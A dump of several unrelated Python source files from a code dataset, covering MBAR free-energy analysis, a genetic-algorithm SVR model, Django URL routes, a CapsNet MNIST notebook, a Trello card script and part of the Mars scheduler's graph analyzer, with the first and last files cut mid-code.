conditions_rpots = []\n decor_enes = self._decor_outs.get_concatenated_datatype('enes')\n decor_ops = self._decor_outs.get_concatenated_datatype('ops')\n decor_staples = self._decor_outs.get_concatenated_datatype('staples')\n for conditions in self._decor_outs.all_conditions:\n # What if I just want to do one rep?\n rpots = utility.calc_reduced_potentials(decor_enes, decor_ops, decor_staples,\n conditions)\n conditions_rpots.append(rpots)\n # I should split this up if I want to separate mbar from calcs that use it\n self._conditions_to_decor_rpots[conditions.fileformat] = rpots\n\n return np.array(conditions_rpots)\n\n def calc_all_expectations(self, filebase):\n print('Calculating all expectation values')\n all_aves = []\n all_stds = []\n all_tags = self._decor_outs.all_conditions.condition_tags\n series_tags = self._decor_outs.all_series_tags\n for i, tag in enumerate(series_tags):\n print('Calculating expectation of {} ({} of {})'.format(tag, i,\n len(series_tags)))\n values = self._decor_outs.get_concatenated_series(tag)\n aves, stds = self._calc_expectations(values)\n all_tags.append(tag)\n all_aves.append(aves)\n all_stds.append(stds)\n\n all_conds = self._decor_outs.all_conditions.condition_to_characteristic_values\n all_conds = np.array(all_conds, dtype=float)\n aves_file = files.TagOutFile('{}.aves'.format(filebase))\n aves_file.write(all_tags, np.concatenate([all_conds,\n np.array(all_aves).T], axis=1))\n stds_file = files.TagOutFile('{}.stds'.format(filebase))\n stds_file.write(all_tags, np.concatenate([all_conds,\n np.array(all_stds).T], axis=1))\n\n def _calc_expectations(self, values):\n aves = []\n stds = []\n for conditions in self._decor_outs.all_conditions:\n\n # It would be more efficient to collect all timeseries of the same\n # conditions and run this once\n rpots = self._conditions_to_decor_rpots[conditions.fileformat]\n ave, vari = self._mbar.computeExpectations(values, rpots)\n aves.append(ave[0].astype(float))\n stds.append(np.sqrt(vari)[0].astype(float))\n\n return aves, stds\n\n def calc_expectation(self, values, conds):\n decor_enes = self._decor_outs.get_concatenated_datatype('enes')\n decor_ops = self._decor_outs.get_concatenated_datatype('ops')\n decor_staples = self._decor_outs.get_concatenated_datatype('staples')\n rpots = utility.calc_reduced_potentials(decor_enes, decor_ops, decor_staples,\n conds)\n ave, vari = self._mbar.computeExpectations(values, rpots)\n ave = ave[0].astype(float)\n std = np.sqrt(vari)[0].astype(float)\n\n return ave, std\n\n def calc_1d_lfes(self, reduced_conditions, filebase, xtag='temp'):\n print('Calculating all 1D LFEs')\n\n # This is bad\n all_conds = reduced_conditions.condition_to_characteristic_values\n all_tags = reduced_conditions.condition_tags\n xvar_i = all_tags.index(xtag)\n xvars = [c[xvar_i] for c in all_conds]\n series_tags = self._decor_outs.all_series_tags\n\n # Also bad\n for tag in ['tenergy', 'henthalpy', 'hentropy', 'stacking', 'bias']:\n series_tags.remove(tag)\n\n for i, tag in enumerate(series_tags):\n print('Calculating 1D LFEs of {} ({} of {})'.format(tag, i, len(series_tags)))\n values = self._decor_outs.get_concatenated_series(tag)\n bins = list(set(values))\n bins.sort()\n lfes, stds = self._calc_lfes(bins, values, reduced_conditions)\n\n # Ugly\n header = np.concatenate([['ops'], xvars])\n lfes_filebase = '{}_{}-lfes'.format(filebase, tag)\n\n lfes_file = files.TagOutFile('{}.aves'.format(lfes_filebase))\n lfes = self._hack_prepare_1d_lfe_series_for_write(lfes, bins)\n lfes_file.write(header, lfes)\n\n stds_file = files.TagOutFile('{}.stds'.format(lfes_filebase))\n stds = self._hack_prepare_1d_lfe_series_for_write(stds, bins)\n stds_file.write(header, stds)\n\n def _calc_lfes(self, bins, values, reduced_conditions):\n value_to_bin = {value: i for i, value in enumerate(bins)}\n bin_index_series = [value_to_bin[i] for i in values]\n bin_index_series = np.array(bin_index_series)\n all_lfes = []\n all_lfe_stds = []\n for conditions in reduced_conditions:\n rpots = self._conditions_to_decor_rpots[conditions.fileformat]\n lfes, lfe_stds = self._mbar.computePMF(\n rpots, bin_index_series, len(bins))\n all_lfes.append(lfes)\n all_lfe_stds.append(lfe_stds)\n\n return all_lfes, all_lfe_stds\n\n def calc_specified_2d_lfes(self, tag_pairs, reduced_conditions, filebase):\n print('Calculating 2D LFEs for all specified pairs')\n for i, tag_pair in enumerate(tag_pairs):\n tag1, tag2 = tag_pair\n print('Calculating 2D LFEs of {}-{} ({} of {})'.format(tag1, tag2, i, len(tag_pairs)))\n self.calc_2d_lfes(tag1, tag2, reduced_conditions, filebase)\n\n def calc_2d_lfes(self, tag1, tag2, reduced_conditions, filebase):\n print('Calculating 2D LFEs of {}-{}'.format(tag1, tag2))\n temps = [c.temp for c in reduced_conditions]\n decor_value_pairs = list(zip(self._decor_outs.get_concatenated_series(tag1),\n self._decor_outs.get_concatenated_series(tag2)))\n bins = list(set(decor_value_pairs))\n lfes, stds = self._calc_lfes(bins, decor_value_pairs, reduced_conditions)\n\n # Ugly\n header = np.concatenate([[tag1, tag2], temps])\n lfes_filebase = '{}_{}-{}-lfes'.format(filebase, tag1, tag2)\n\n lfes_file = files.TagOutFile('{}.aves'.format(lfes_filebase))\n lfes = self._hack_prepare_2d_lfe_series_for_write(lfes, bins)\n lfes_file.write(header, lfes)\n\n stds_file = files.TagOutFile('{}.stds'.format(lfes_filebase))\n stds = self._hack_prepare_2d_lfe_series_for_write(stds, bins)\n stds_file.write(header, stds)\n\n def _hack_prepare_1d_lfe_series_for_write(self, series, bins):\n bins = np.array(bins).reshape(len(bins), 1)\n return np.concatenate([bins, np.array(series).T], axis=1)\n\n def _hack_prepare_2d_lfe_series_for_write(self, series, bins):\n bins = np.array(bins).reshape(len(bins), 2)\n return np.concatenate([bins, np.array(series).T], axis=1)\n","sub_path":"origamipy/mbar_wrapper.py","file_name":"mbar_wrapper.py","file_ext":"py","file_size_in_byte":7377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"67953877","text":"import pandas as pd\nimport numpy as np\nimport random\nfrom functools import partial\nfrom sklearn.metrics import r2_score\nfrom deap import base, creator, tools, algorithms\nfrom sklearn.preprocessing import StandardScaler\nfrom mySVR.svr_wrapper import NuSVR_validate, NuSVR_DCV\nfrom svr.svr_wrapper import NuSVR_CV\nfrom Kernel.KernelRidge import KernelRidge_CV\nfrom evaluation.criteria import r2_rmse_mae\nfrom chemical.FingerPrint import Hash2FingerPrint\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 12 10:13:42 2019\n\n@author: matsumoto\n\"\"\"\n\nclass GASVR_yscale():\n \n def __init__(self, population=100, generations=100, use_scaling=False, seed=0, debug=False, \n maxcmp=None, use_roulette=True, use_penalty_GA=False, mutation_rate=0.2, nfold=None, \n searchrange=(-5,5), xname=None, yname=None, trace=None, method='svr'):\n self.pop = population\n self.gens = generations\n self.scale = use_scaling\n self.xscaler = None\n self.yscaler = None\n self.model = None\n self.best_mask = None\n self.params = None\n self.verbose = debug\n self.maxcmp = maxcmp\n self.use_roulette = use_roulette\n self.use_penalty_GA = use_penalty_GA\n self.r_mutate = mutation_rate\n self.nfold = nfold\n self.searchrange = searchrange\n self.y_convert = None\n self.xname = xname\n self.yname = yname\n self.method = method\n self.trace = trace\n\n random.seed(seed) # hopefuly this work...\n \n def fit(self, x, y, x_val, y_val):\n \"\"\"\n Variable selection with GA \n input:\n -------\n x, y: training data set\n nfold: nfold-cross validation for hyperparameter identification \n \n output:\n --------\n optimized set of variables, and performance of GA... (log)\n \n \"\"\"\n \n# x = np.array(x)\n# y = np.array(y).reshape(-1,1)\n# x_val = np.array(x_val)\n# y_val = np.array(y_val).reshape(-1,1)\n# \n# if self.scale:\n# self.xscaler = StandardScaler()\n# self.yscaler = StandardScaler()\n# sx = self.xscaler.fit_transform(x)\n# sy = self.yscaler.fit_transform(y)\n# else:\n sx = x\n sy = y\n \n n_variable = count_asy(x)\n \n #preparation for GA\n creator.create('FitnessMax', base.Fitness, weights=(1.0, ))\n creator.create('Individual', list, fitness=creator.FitnessMax)\n \n toolbox = base.Toolbox()\n \n #create gene expression\n if self.trace == None:\n toolbox.register('attr_gene', random.uniform, self.searchrange[0], self.searchrange[1])\n toolbox.register('individual', tools.initRepeat, creator.Individual, toolbox.attr_gene, n_variable)\n elif self.trace != None:\n toolbox.register('attr_gene', randompost, self.trace)\n toolbox.register('individual', initRepeating, creator.Individual, toolbox.attr_gene, n_variable)\n toolbox.register('population', tools.initRepeat, list, toolbox.individual)\n \n #optimization strategy\n ga_svr_opt = partial(WrapperGA, x=sx, y=sy, x_val=x_val, y_val=y_val, nfold=self.nfold, \n xname=self.xname, yname=self.yname, return_model=False, method=self.method)\n \n toolbox.register('evaluate', ga_svr_opt)\n toolbox.register('mate', tools.cxTwoPoint)\n toolbox.register('mutate', tools.mutFlipBit, indpb=0.05)\n toolbox.register('select', tools.selRoulette) # or Roullet \n \n # statistics\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register('max', np.max)\n stats.register('min', np.min)\n\n pop = toolbox.population(n=self.pop)\n self.final_combi, self.galogs = algorithms.eaMuPlusLambda(pop, toolbox, mu=self.pop, lambda_=self.pop, cxpb=0.5,\n mutpb=0.2, ngen=self.gens, stats=stats)\n \n # set the best model\n evals = [ga_svr_opt(val)[0] for val in self.final_combi]\n coef = self.final_combi[np.argmax(evals)]\n self.best_coef = np.array(coef)\n\n # model recostruction\n self.evaluate_r2, self.evaluate_q2, self.model, self.xa, self.ya, self.xscaler, self.yscaler, self.convy = WrapperGA(individual=self.best_coef, \n x=sx, y=sy, \n x_val=x_val, y_val=y_val,\n nfold=self.nfold,\n xname=self.xname,\n yname=self.yname,\n return_model=True,\n method=self.method)\n # optimized r2,rmse,mae\n syptr = self.predict(self.xa)\n#\n# if self.scale:\n# yptr = self.yscaler.inverse_transform(syptr)\n# else:\n yptr = syptr\n#\n self.evaluate_r2, self.evaluate_rmse, self.evaluate_mae = r2_rmse_mae(yp=yptr, yobs=self.ya, verbose=self.verbose)\n \n \n def predict(self, x):\n \"\"\"\n Wrapper function of predcit with the optimal\n \"\"\"\n x = np.array(x)\n \n if self.scale:\n sx = self.xscaler.transform(x)\n else:\n sx = x\n\n spy = self.model.predict(sx)\n \n if self.scale:\n py = self.yscaler.inverse_transform(spy)\n else:\n py = spy\n return py\n \n \n def predict_vals(self, xtr, xts):\n py1 = self.predict(xtr)\n py2 = self.predict(xts)\n return py1, py2\n \n \ndef WrapperGA(individual, x, y, x_val, y_val, nfold, method, xname=None, yname=None, return_model=False):\n \"\"\"\n Wrapper function for conducting GASVR\n \"\"\"\n \n g = individual\n asys = set(x['Assay'])\n ycop = y.copy()\n \n for i, asn in enumerate(asys):\n ycop[yname][y['Assay'] == asn] = ycop[yname][y['Assay'] == asn] + g[i]\n convy = ycop\n \n max_r2, max_q2, model, xa, ya, scaler = svr_eval(x, ycop, x_val, y_val, xname, yname, nfold, return_model, method)\n print(max_r2)\n \n if return_model:\n return max_r2, max_q2, model, xa, ya, scaler[0], scaler[1], convy\n else:\n return (max_r2,) #must be a tuple\n \n \n#def make_mask(tridx):\n# if not isinstance(tridx, pd.DataFrame):\n# TypeError('have to be pd.DataFrame...')\n# \n# assays = [detect_asy(idx) for idx in tridx]\n# asynums = np.unique(assays)\n# mask = pd.DataFrame(np.zeros((len(tridx), len(asynums))), columns=asynums)\n# \n# for i, j in enumerate(assays):\n# mask.at[i, j] = 1\n# \n# return mask \n# \n# \n#def detect_asy(idx):\n# asyNo = int(idx.split('_')[1])\n# return asyNo\n \n \n \ndef svr_eval(x, y, x_val, y_val, xname=None, yname=None, nfold=None, return_model=False, method='svr'):\n \"\"\"\n For evaluating GA SVR bsased on valdation set fitting\n \"\"\"\n xa = pd.concat([x, x_val])\n ya = pd.concat([y, y_val])\n \n xa = xa[~xa.index.duplicated(keep='last')]\n ya = ya[~ya.index.duplicated(keep='last')]\n \n if method == 'svr':\n xa = Hash2FingerPrint(xa[xname]).values\n elif method == 'svr_m2v':\n xa = xa.iloc[:,:-1]\n ya = ya[yname].values.reshape(-1,1)\n \n # scalilng process\n if method == 'svr':\n xa_sc = xa\n ya_sc = ya\n elif method == 'svr_m2v':\n x_scaler = StandardScaler()\n y_scaler = StandardScaler()\n xa_sc = x_scaler.fit_transform(xa)\n ya_sc = y_scaler.fit_transform(ya)\n \n # model definition\n if method == 'svr':\n if isinstance(nfold, int):\n mdl = NuSVR_CV(kernelf='tanimoto', nf=nfold)\n elif nfold == None:\n mdl = NuSVR_validate(kernelf='tanimoto')\n elif method == 'svr_m2v':\n mdl = NuSVR_DCV(kernelf='rbf', nfin=nfold, nfout=nfold)\n \n mdl.fit(xa_sc, ya_sc)\n py = mdl.predict(xa)\n \n # Scaling inverse process\n if method == 'svr_m2v':\n py = y_scaler.inverse_transform(py) \n scaler = [x_scaler, y_scaler]\n else:\n scaler =[None, None]\n \n #R2 of validation set\n if method == 'svr':\n r2, _, _ = r2_rmse_mae(py, ya)\n elif method == 'svr_m2v':\n if return_model:\n r2, _, _ = r2_rmse_mae(py, ya)\n q2 = mdl.dcv_score\n else:\n r2 = mdl.dcv_score\n q2 = None\n \n model = mdl.model\n\n return r2, q2, model, xa, ya, scaler\n\n\ndef count_asy(data):\n count = len(set(data['Assay']))\n \n return count\n\n\n# Bayesian inference\ndef randompost(trace, number=0):\n \"\"\"\n number : assay number\n \"\"\"\n rand = trace['alpha'][500:, number]\n rand = rand.reshape(-1)\n \n rn = random.choice(rand)\n \n return rn\n\ndef initRepeating(container, func, n_var):\n return container(func(number = i) for i in range(n_var))\n\n \nif __name__ == 'main':\n pass","sub_path":"GA/GAPLS_yscale2.py","file_name":"GAPLS_yscale2.py","file_ext":"py","file_size_in_byte":9677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"57313184","text":"from django.conf.urls import url\n\nfrom . import views\nfrom .views import LoginView, IndexView, RegisterView, LogoutView\n\napp_name = \"user\"\nurlpatterns = [\n url(r'^register/$', RegisterView.as_view(), name=\"register\"),\n url(r'^login/$', LoginView.as_view(), name='login'),\n url(r'^login1/$', views.login1, name='login1'),\n url(r'^index/$', IndexView.as_view(), name=\"index\"),\n url(r'^userInfo/$', views.userinfo, name=\"userInfo\"),\n url(r'^search_goods/$', views.search_goods, name=\"search_goods\"),\n url(r'^logout/$', LogoutView.as_view(), name=\"logout\"),\n # url('/userinfo/', views.userinfo.as_view(), name='userinfo')\n\n]\n","sub_path":"apps/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"540077927","text":"#################################################################################\n# The Institute for the Design of Advanced Energy Systems Integrated Platform\n# Framework (IDAES IP) was produced under the DOE Institute for the\n# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021\n# by the software owners: The Regents of the University of California, through\n# Lawrence Berkeley National Laboratory, National Technology & Engineering\n# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia University\n# Research Corporation, et al. All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and\n# license information.\n#################################################################################\n\n\ndef remapminmax(x, xmax, xmin):\n import numpy as np\n try:\n ndata, ninputs = np.shape(x)\n y = np.ones([ndata, ninputs])\n except Exception:\n ndata = np.size(x)\n ninputs = 1\n y = np.ones([ndata])\n if ninputs > 1:\n for j in range(ninputs):\n y[:, j] = (xmax[j] - xmin[j]) * (x[:, j] + 1) / (2.0) + xmin[j]\n else:\n y = (xmax - xmin) * (x + 1) / (2.0) + xmin\n return y\n","sub_path":"idaes/surrogate/alamopy/remapminmax.py","file_name":"remapminmax.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"297220326","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nfrom keras import layers, models, optimizers\nfrom keras import backend as K\nfrom keras.utils import to_categorical\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras import callbacks\nimport matplotlib.pyplot as plt\nfrom utils import combine_images\nfrom PIL import Image\nfrom capsulelayers import CapsuleLayer, PrimaryCap, Length, Mask\n\nget_ipython().magic(u'matplotlib inline')\n\n\n# In[2]:\n\n\nclass args:\n save_dir = \"weights/\"\n debug = True\n\n # model\n routings = 1\n\n # hp\n batch_size = 32\n lr = 0.001\n lr_decay = 1.0\n lam_recon = 0.392\n\n # training\n epochs = 3\n shift_fraction = 0.1\n digit = 5\n\n\n# In[3]:\n\n\n\ndef CapsNet(input_shape, n_class, routings):\n x = layers.Input(shape=input_shape)\n\n # Layer 1: Just a conventional Conv2D layer\n conv1 = layers.Conv2D(filters=256, kernel_size=9, strides=1, padding='valid', activation='relu', name='conv1')(x)\n\n # Layer 2: Conv2D layer with `squash` activation, then reshape to [None, num_capsule, dim_capsule]\n primarycaps = PrimaryCap(conv1, dim_capsule=8, n_channels=32, kernel_size=9, strides=2, padding='valid')\n\n # Layer 3: Capsule layer. Routing algorithm works here.\n digitcaps = CapsuleLayer(num_capsule=n_class, dim_capsule=16, routings=routings,\n name='digitcaps')(primarycaps)\n\n # Layer 4: This is an auxiliary layer to replace each capsule with its length. Just to match the true label's shape.\n # If using tensorflow, this will not be necessary. :)\n out_caps = Length(name='capsnet')(digitcaps)\n \n model = models.Model(x, out_caps)\n \n return model\n\n\n# In[4]:\n\n\n# the data, shuffled and split between train and test sets\nfrom keras.datasets import mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nx_train = x_train.reshape(-1, 28, 28, 1).astype('float32') / 255.\nx_test = x_test.reshape(-1, 28, 28, 1).astype('float32') / 255.\ny_train = to_categorical(y_train.astype('float32'))\ny_test = to_categorical(y_test.astype('float32'))\n\nx_train = x_train[:1000]\ny_train = y_train[:1000]\nx_test = x_test[:1000]\ny_test = y_test[:1000]\n\n\n# In[5]:\n\n\ndef margin_loss(y_true, y_pred):\n L = y_true * K.square(K.maximum(0., 0.9 - y_pred)) + 0.5 * (1 - y_true) * K.square(K.maximum(0., y_pred - 0.1))\n\n return K.mean(K.sum(L, 1))\n\n\n# In[6]:\n\n\nmodel = CapsNet(input_shape=x_train.shape[1:], n_class=len(np.unique(np.argmax(y_train, 1))), routings=args.routings)\n\n\n# In[7]:\n\n\nmodel.compile(optimizer=optimizers.Adam(lr=args.lr), loss=[margin_loss])\n\n\n# In[8]:\n\n\nmodel.fit(x_train, y_train, validation_data=[x_test, y_test], epochs=3)\n\n\n# In[9]:\n\n\nn_images = 5\nids = np.random.choice(x_test.shape[0], n_images, replace=False)\nimages = x_test[ids]\nid_class = model.predict(images)\n\nfor index, image in enumerate(images):\n ax = plt.subplot(1, n_images, index+1)\n plt.imshow(image.reshape(28, 28), cmap=\"gray\")\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n \n ax.set_title(\"{0}\".format(np.argmax(id_class[index])))\n\n","sub_path":"simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"84485404","text":"from trello import TrelloClient\r\nimport json\r\n\r\n# get all secrets, keys, tokens of trello\r\nwith open('trello.com-python.json') as f:\r\n client_secret = json.load(f)\r\n\r\nclient = TrelloClient(\r\n api_key=client_secret['API_KEY'],\r\n api_secret=client_secret['API_SECRET'],\r\n token=client_secret['TOKEN'],\r\n token_secret=client_secret['TOKEN_SECRET']\r\n)\r\n\r\nboard = client.get_board('r7fuJQHa')\r\n\r\nproduction_department = all_boards[2]\r\npd_to_do = production_department.get_list('5c02d07fdd4ec93ca4f9af26')\r\n\r\npd_to_do.add_card('issiustas is virtualios aplinkos', desc=None, labels=None, due='null', source=None, position=None, assign=None)","sub_path":"examples/Trello.py","file_name":"Trello.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"502493899","text":"# Copyright 1999-2020 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport operator\nimport random\nfrom collections import defaultdict, OrderedDict\nfrom functools import reduce\n\nimport numpy as np\n\nfrom ..operands import VirtualOperand\nfrom .operands import OperandState\n\nlogger = logging.getLogger(__name__)\n\n\nclass GraphAnalyzer(object):\n \"\"\"\n Analyzer for chunk graph, supporting optimization analysis\n as well as fail-over analysis.\n \"\"\"\n def __init__(self, graph, worker_slots, fixed_assigns=None, op_states=None,\n lost_chunks=None):\n \"\"\"\n :param graph: chunk graph\n :param worker_slots: dict mapping worker endpoint to slots available\n :param fixed_assigns: dict mapping operands to workers fixed\n :param op_states: dict recording operand states\n :param lost_chunks: keys of lost chunks, for fail-over analysis\n \"\"\"\n self._graph = graph\n self._assign_graph = None\n self._worker_slots = OrderedDict(worker_slots)\n self._op_states = op_states or dict()\n self._lost_chunks = lost_chunks or []\n self._descendant_sizes = defaultdict(lambda: 0)\n\n self._fixed_assigns = fixed_assigns or dict()\n self._fixed_assigns = dict((k, v) for k, v in self._fixed_assigns.items() if v in self._worker_slots)\n\n def update_operand_states(self, new_states):\n self._op_states.update(new_states)\n\n def calc_depths(self):\n \"\"\"\n Calculate depths of every operand\n :return: dict mapping operand keys into depth\n \"\"\"\n graph = self._graph\n depth_cache = dict()\n\n for n in graph.topological_iter():\n preds = graph.predecessors(n)\n if not preds:\n depth_cache[n.op.key] = 0\n else:\n depth_cache[n.op.key] = 1 + max(depth_cache[ni.op.key] for ni in preds)\n return depth_cache\n\n def calc_descendant_sizes(self):\n \"\"\"\n Estimate descendant sizes of every operand\n Note that due to performance requirements, the calculated descendant\n sizes are not accurate.\n :return: dict mapping operand keys into estimated descendant size\n \"\"\"\n graph = self._graph\n sizes = self._descendant_sizes\n for n in graph.topological_iter(reverse=True):\n sizes[n.op.key] += 1\n if not graph.count_predecessors(n):\n continue\n for ni in set(graph.predecessors(n)):\n sizes[ni.op.key] += sizes[n.op.key]\n return sizes\n\n def collect_external_input_chunks(self, initial=True):\n \"\"\"\n Collect keys of input chunks not in current graph, for instance,\n chunks as inputs of initial operands in eager mode.\n :param initial: collect initial chunks only\n :return: dict mapping operand key to its input keys\n \"\"\"\n graph = self._graph\n chunk_keys = set(n.key for n in graph)\n visited = set()\n results = dict()\n for n in graph:\n op_key = n.op.key\n if op_key in visited or not n.inputs:\n continue\n if initial and graph.count_predecessors(n):\n continue\n ext_keys = [c.key for c in n.inputs if c.key not in chunk_keys]\n if not ext_keys:\n continue\n visited.add(op_key)\n results[op_key] = ext_keys\n return results\n\n @staticmethod\n def _get_workers_with_max_size(worker_to_size):\n \"\"\"Get workers with maximal size\"\"\"\n max_workers = set()\n max_size = 0\n for w, size in worker_to_size.items():\n if size > max_size:\n max_size = size\n max_workers = {w}\n elif size == max_size:\n max_workers.add(w)\n max_workers.difference_update([None])\n return max_size, list(max_workers)\n\n def _iter_successor_assigns(self, existing_assigns):\n \"\"\"Iterate over all successors to get allocations of successor nodes\"\"\"\n graph = self._graph\n\n worker_assigns = existing_assigns.copy()\n for n in graph.topological_iter():\n if not graph.count_predecessors(n):\n continue\n pred_sizes = defaultdict(lambda: 0)\n total_count = 0\n worker_involved = set()\n # calculate ratios of every worker in predecessors\n for pred in graph.iter_predecessors(n):\n op_key = pred.op.key\n total_count += 1\n if op_key in worker_assigns:\n pred_sizes[worker_assigns[op_key]] += 1\n worker_involved.add(worker_assigns[op_key])\n else:\n worker_involved.add(None)\n # get the worker occupying most of the data\n max_size, max_workers = self._get_workers_with_max_size(pred_sizes)\n # if there is a dominant worker, return it\n if max_size > total_count / max(2, len(worker_involved)) and max_workers:\n max_worker = random.choice(max_workers)\n worker_assigns[n.op.key] = max_worker\n yield n.op.key, max_worker\n\n def _calc_worker_assign_limits(self, initial_count, occupied=None):\n \"\"\"\n Calculate limitation of number of initial operands for workers\n :param initial_count: num of nodes in READY state\n :param occupied: worker -> num of initials already assigned\n \"\"\"\n occupied = occupied or dict()\n actual_count = initial_count - sum(occupied.values())\n\n endpoint_res = sorted(self._worker_slots.items(), key=operator.itemgetter(1),\n reverse=True)\n\n endpoints = [t[0] for t in endpoint_res]\n endpoint_cores = np.array([t[1] for t in endpoint_res]).astype(np.float32)\n\n # remove assigned nodes from limitations\n counts = initial_count * endpoint_cores / endpoint_cores.sum()\n for idx, ep in enumerate(endpoints):\n counts[idx] = max(0, counts[idx] - occupied.get(ep, 0))\n\n # all assigned, nothing to do\n if counts.sum() == 0:\n return dict((ep, 0) for ep in endpoints)\n\n counts = (actual_count * counts / counts.sum()).astype(np.int32)\n\n # assign remaining nodes\n pos = 0\n rest = actual_count - counts.sum()\n while rest > 0:\n counts[pos] += 1\n rest -= 1\n pos = (pos + 1) % len(counts)\n return dict(zip(endpoints, counts))\n\n def get_initial_operand_keys(self):\n \"\"\"Collect unassigned initial nodes\"\"\"\n if not self._descendant_sizes:\n self.calc_descendant_sizes()\n\n graph = self._graph\n descendant_sizes = self._descendant_sizes\n fixed_assigns = self._fixed_assigns\n\n chunks_to_assign = list()\n visited_keys = set()\n for n in graph:\n if n.op.key in visited_keys:\n continue\n visited_keys.add(n.op.key)\n if (n.op.reassign_worker or not graph.predecessors(n)) \\\n and n.op.key not in fixed_assigns:\n chunks_to_assign.append(n)\n elif n.op.expect_worker is not None:\n # force to assign to a worker\n chunks_to_assign.append(n)\n random.shuffle(chunks_to_assign)\n\n # note that different orders can contribute to different efficiency\n return [c.op.key for c in sorted(chunks_to_assign, key=lambda n: descendant_sizes[n.op.key])]\n\n def _iter_assignments_by_transfer_sizes(self, worker_quotas, input_chunk_metas):\n \"\"\"\n Assign chunks by input sizes\n :type input_chunk_metas: dict[str, dict[str, mars.scheduler.chunkmeta.WorkerMeta]]\n \"\"\"\n total_transfers = dict((k, sum(v.chunk_size for v in chunk_to_meta.values()))\n for k, chunk_to_meta in input_chunk_metas.items())\n # operands with largest amount of data will be allocated first\n sorted_chunks = sorted(total_transfers.keys(), reverse=True,\n key=lambda k: total_transfers[k])\n for op_key in sorted_chunks:\n # compute data amounts held in workers\n worker_stores = defaultdict(lambda: 0)\n for meta in input_chunk_metas[op_key].values():\n for w in meta.workers:\n worker_stores[w] += meta.chunk_size\n\n max_size, max_workers = self._get_workers_with_max_size(worker_stores)\n if max_workers and max_size > 0.5 * total_transfers[op_key]:\n max_worker = random.choice(max_workers)\n if worker_quotas.get(max_worker, 0) <= 0:\n continue\n worker_quotas[max_worker] -= 1\n yield op_key, max_worker\n\n def _assign_by_bfs(self, start, worker, initial_sizes, spread_limits,\n keys_to_assign, assigned_record, graph=None):\n \"\"\"\n Assign initial nodes using Breadth-first Search given initial sizes and\n limitations of spread range.\n \"\"\"\n if initial_sizes[worker] <= 0:\n return\n\n graph = graph or self._graph\n if self._assign_graph is None:\n undigraph = self._assign_graph = graph.build_undirected()\n else:\n undigraph = self._assign_graph\n\n assigned = 0\n spread_range = 0\n for v in undigraph.bfs(start=start, visit_predicate='all'):\n op_key = v.op.key\n if op_key in assigned_record:\n continue\n spread_range += 1\n if op_key not in keys_to_assign:\n continue\n assigned_record[op_key] = worker\n assigned += 1\n if spread_range >= spread_limits[worker] \\\n or assigned >= initial_sizes[worker]:\n break\n initial_sizes[worker] -= assigned\n\n def calc_operand_assignments(self, op_keys, input_chunk_metas=None):\n \"\"\"\n Decide target worker for given chunks.\n\n :param op_keys: keys of operands to assign\n :param input_chunk_metas: chunk metas for graph-level inputs, grouped by initial chunks\n :type input_chunk_metas: dict[str, dict[str, mars.scheduler.chunkmeta.WorkerMeta]]\n :return: dict mapping operand keys into worker endpoints\n \"\"\"\n graph = self._graph\n op_states = self._op_states\n cur_assigns = OrderedDict(self._fixed_assigns)\n expect_workers = dict()\n\n key_to_chunks = defaultdict(list)\n for n in graph:\n key_to_chunks[n.op.key].append(n)\n if n.op.expect_worker is not None:\n expect_workers[n.op.key] = cur_assigns[n.op.key] = n.op.expect_worker\n\n descendant_readies = set()\n op_keys = set(op_keys)\n requested_chunks = [key_to_chunks[k][0] for k in op_keys]\n chunks_to_assign = [c for c in requested_chunks if c.op.expect_worker is None]\n\n if any(graph.count_predecessors(c) for c in chunks_to_assign):\n graph = graph.copy()\n for c in graph:\n if c.op.key not in op_keys:\n continue\n for pred in graph.predecessors(c):\n graph.remove_edge(pred, c)\n\n assigned_counts = defaultdict(lambda: 0)\n worker_op_keys = defaultdict(set)\n if cur_assigns:\n for op_key, state in op_states.items():\n if op_key not in op_keys and state == OperandState.READY \\\n and op_key in cur_assigns:\n descendant_readies.add(op_key)\n assigned_counts[cur_assigns[op_key]] += 1\n\n # calculate the number of nodes to be assigned to every worker\n # given number of workers and existing assignments\n pre_worker_quotas = self._calc_worker_assign_limits(\n len(chunks_to_assign) + len(descendant_readies), assigned_counts)\n\n # pre-assign nodes given pre-determined transfer sizes\n if not input_chunk_metas:\n worker_quotas = pre_worker_quotas\n else:\n for op_key, worker in self._iter_assignments_by_transfer_sizes(\n pre_worker_quotas, input_chunk_metas):\n if op_key in cur_assigns or op_key not in op_keys:\n continue\n assigned_counts[worker] += 1\n cur_assigns[op_key] = worker\n worker_op_keys[worker].add(op_key)\n\n worker_quotas = self._calc_worker_assign_limits(\n len(chunks_to_assign) + len(descendant_readies), assigned_counts)\n\n if cur_assigns:\n # calculate ranges of nodes already assigned\n for op_key, worker in self._iter_successor_assigns(cur_assigns):\n cur_assigns[op_key] = worker\n worker_op_keys[worker].add(op_key)\n\n 